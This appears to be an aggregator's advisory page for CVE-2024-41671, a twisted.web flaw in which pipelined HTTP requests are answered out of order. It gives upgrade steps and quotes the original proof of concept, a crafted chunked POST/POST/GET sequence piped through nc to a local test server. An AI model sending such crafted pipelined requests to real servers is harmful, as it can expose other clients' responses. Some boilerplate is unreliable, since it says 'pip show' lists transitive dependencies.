CVE-2024-41671: Twisted Twisted.web Has Disordered HTTP Pipeline Vulnerability

MODERATE
Advisory Identifier: GHSA-c8m8-j448-xjx7
CVSS 8.3
CWE-444
Published
Advisory Summary

CVE-2024-41671 is a MODERATE (CVSS 8.3) twisted.web has disordered http pipeline vulnerability (CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')) affecting Twisted libraries in the PyPI ecosystem. The issue involves twisted.web has disordered http pipeline response. Remediation is available by upgrading affected packages to version 24.7.0rc1.

CVE-2024-41671 at a Glance

CVE Identifier CVE-2024-41671
GHSA Identifier GHSA-c8m8-j448-xjx7
Severity MODERATE
CVSS v3.1 Base Score 8.3
CWE Classification CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Affected Product Twisted
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2024-41671

To remediate this vulnerability, upgrade all affected Twisted dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

twisted fixed: 24.7.0rc1
pip install twisted>=24.7.0rc1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show twisted

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2024-41671, inspect your installed packages using pip:

pip show twisted

Analyze the terminal output to locate any version of Twisted in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 24.7.0rc1), your application is affected.

Note: The pip show twisted command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'), where the product acts as an intermediary http agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed http requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. In Twisted, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. ### PoC 0. Start a fresh Debian container: ```sh docker run --workdir /repro --rm -it debian:bookworm-slim ``` 1. Install twisted and its dependencies: ```sh apt -y update && apt -y install ncat git python3 python3-pip \ && git clone --recurse-submodules https://github.com/twisted/twisted \ && cd twisted \ && pip3 install --break-system-packages . ``` 2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following: ```python from twisted.web import server, resource from twisted.internet import reactor class TheResource(resource.Resource): isLeaf = True def render_GET(self, request) -> bytes: return b"GET" def render_POST(self, request) -> bytes: return b"POST" site = server.Site(TheResource()) reactor.listenTCP(80, site) reactor.run() ``` 3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection: ```sh (printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 80 ``` 4. Observe that the responses arrive out of order: ``` HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:41 GMT Content-Length: 5 Content-Type: text/html POST HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 4 Content-Type: text/html GET HTTP/1.1 200 OK Server: TwistedWeb/24.3.0.post0 Date: Tue, 09 Jul 2024 06:19:42 GMT Content-Length: 5 Content-Type: text/html POST ``` ### Impact See [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.

CVE-2024-41671 Affected Twisted Versions

1 component(s)
Fixed Versions:
24.7.0rc1
Product / Package Ecosystem Affected Versions Fixed Version
twisted
PyPI
< 24.7.0rc1
24.7.0rc1

References

Frequently Asked Questions

What is CVE-2024-41671?
CVE-2024-41671 is a security vulnerability in Twisted involving twisted.web has disordered HTTP pipeline response under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling').
Which Twisted versions are affected?
Affected versions include releases prior to 24.7.0rc1 across affected packages: twisted.
What version fixes CVE-2024-41671?
Upgrading to 24.7.0rc1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is twisted affected?
Yes, twisted is affected in releases prior to 24.7.0rc1. Upgrade your dependency to 24.7.0rc1 or later.
What is the CVSS score of CVE-2024-41671?
CVE-2024-41671 has a CVSS v3.1 base score of 8.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L.
What CWE is associated with CVE-2024-41671?
CVE-2024-41671 is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') (The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.).
How can I check PyPI dependencies for CVE-2024-41671?
Run the dependency tree command: 'pip show twisted'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c8m8-j448-xjx7",
  "modified" : "2025-11-04T16:51:06Z",
  "published" : "2024-07-29T16:33:11Z",
  "aliases" : [ "CVE-2024-41671" ],
  "summary" : "twisted.web has disordered HTTP pipeline response",
  "details" : "### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update && apt -y install ncat git python3 python3-pip \\\n    && git clone --recurse-submodules https://github.com/twisted/twisted \\\n    && cd twisted \\\n    && pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n    isLeaf = True\n\n    def render_GET(self, request) -> bytes:\n        return b\"GET\"\n\n    def render_POST(self, request) -> bytes:\n        return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n'; sleep 1; printf 'GET / HTTP/1.1\\r\\n\\r\\n'; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "twisted"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "24.7.0rc1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 24.3.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-41671"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/twisted/twisted"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html"
  }, {
    "type" : "WEB",
    "url" : "https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-444" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-07-29T16:33:11Z",
    "nvd_published_at" : "2024-07-29T15:15:15Z"
  }
}